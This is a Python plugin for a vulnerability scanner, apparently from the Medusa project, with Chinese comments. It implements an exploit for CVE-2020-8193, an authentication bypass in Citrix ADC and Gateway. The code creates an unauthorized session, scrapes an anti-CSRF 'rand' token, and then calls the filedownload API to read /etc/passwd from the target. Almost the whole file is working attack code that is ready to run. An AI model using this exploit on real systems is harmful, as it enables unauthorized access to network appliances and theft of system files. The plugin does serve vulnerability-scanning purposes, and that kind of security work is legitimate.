#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'Ascotbe'
from ClassCongregation import VulnerabilityDetails,UrlProcessing,ErrorLog,WriteFile,ErrorHandling,Proxies,randoms,ExploitOutput,Exploit
import json
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class VulnerabilityInfo(object):
    def __init__(self,Medusa):
        self.info = {}
        self.info['number']="CVE-2020-8193" #如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2020-7-11"  # 插件编辑时间
        self.info['disclosure'] = '2020-7-10'  # 漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "CitrixCertificationBypassesVulnerability"  # 插件名称
        self.info['name'] ='Citrix认证绕过漏洞' #漏洞名称
        self.info['affects'] = "Citrix"  # 漏洞组件
        self.info['desc_content'] = "Citrix 产品中存在多个安全问题，攻击者通过发送特制请求包，能够造成以下影响：下载任意文件/上传任意文件/实施跨站脚本攻击/实施拒绝服务攻击/获得敏感信息/认证绕过/代码注入/权限提升"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['version'] = "Citrix ADC and Citrix Gateway: < 13.0-58.30\r\nCitrix ADC and NetScaler Gateway: < 12.1-57.18\r\nCitrix ADC and NetScaler Gateway: < 12.0-63.21\r\nCitrix ADC and NetScaler Gateway: < 11.1-64.14\r\nNetScaler ADC and NetScaler Gateway: < 10.5-70.18"  # 这边填漏洞影响的版本
        self.info['suggest'] = "升级最新Citrix版本"  # 修复建议
        self.info['details'] = Medusa  # 结果

def create_session(session,url,proxies,Headers):
    params = {
        'type': 'allprofiles',
        'sid': 'loginchallengeresponse1requestbody',
        'username': 'nsroot',
        'set': '1'
    }

    Headers['Accept']= 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
    Headers["Content-Type"]="application/xml"
    Headers["X-NITRO-USER"]=randoms().result(8)
    Headers["X-NITRO-PASS"]=randoms().result(8)


    data = '<appfwprofile><login></login></appfwprofile>'
    session.post(url=url+"/pcidss/report", params=params, headers=Headers, timeout=6, data=data, verify=False, proxies=proxies)
    return session

def get_rand(session,url,proxies,Headers):


    params = {
        'sid': 'nsroot',
        'username': 'nsroot',
        'force_setup': '1'
    }

    Headers['Accept']='text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'

    session.get(url=url+"/menu/ss", params=params, headers=Headers,verify=False, timeout=6, proxies=proxies)
    r = session.get(url=url+"/menu/stc", verify=False, headers=Headers,timeout=6, proxies=proxies)

    for line in r.text.split('\n'):
        if 'var rand =' in line:
            rand = line.split('"')[1]
            return rand

def medusa(Url:str,Headers:dict,proxies:str=None,**kwargs)->None:
    proxies=Proxies().result(proxies)
    scheme, url, port = UrlProcessing().result(Url)
    if port is None and scheme == 'https':
        port = 443
    elif port is None and scheme == 'http':
        port = 80
    else:
        port = port
    try:

        payload_url = scheme + "://" + url + ":" + str(port)
        session = requests.Session()
        create_session(session,payload_url,proxies,Headers)
        value =get_rand(session, payload_url, proxies, Headers)
        create_session(session, payload_url, proxies, Headers)#再次创建连接
        payload='%2fetc%2fpasswd'
        read_file_payload=payload_url+"/rapi/filedownload?filter=path:"+payload

        Headers['Accept']='text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
        Headers['Content-Type']='application/xml'
        Headers['X-NITRO-USER']=randoms().result(8)
        Headers['X-NITRO-PASS'] =randoms().result(8)
        Headers['rand_key']=value

        data = '<clipermission></clipermission>'
        resp = session.post(url=read_file_payload, headers=Headers, timeout=6, data=data, verify=False, proxies=proxies)
        response_str = json.dumps(resp.headers.__dict__['_store'])
        code=resp.status_code
        con = resp.text
        if code==406 and "Content-Disposition" in response_str and con.find("root:")!=-1:
            Medusa = "{} 存在Citrix认证绕过漏洞(CVE-2020-8193)\r\n验证数据:\r\n漏洞位置:{}\r\n读取文件:{}\r\n返回数据包:{}\r\n".format(url,payload_url,payload,con)
            _t = VulnerabilityInfo(Medusa)
            VulnerabilityDetails(_t.info, url,**kwargs).Write()  # 传入url和扫描到的数据
            WriteFile().result(str(url),str(Medusa))#写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorHandling().Outlier(e, _)
        _l = ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)#调用写入类
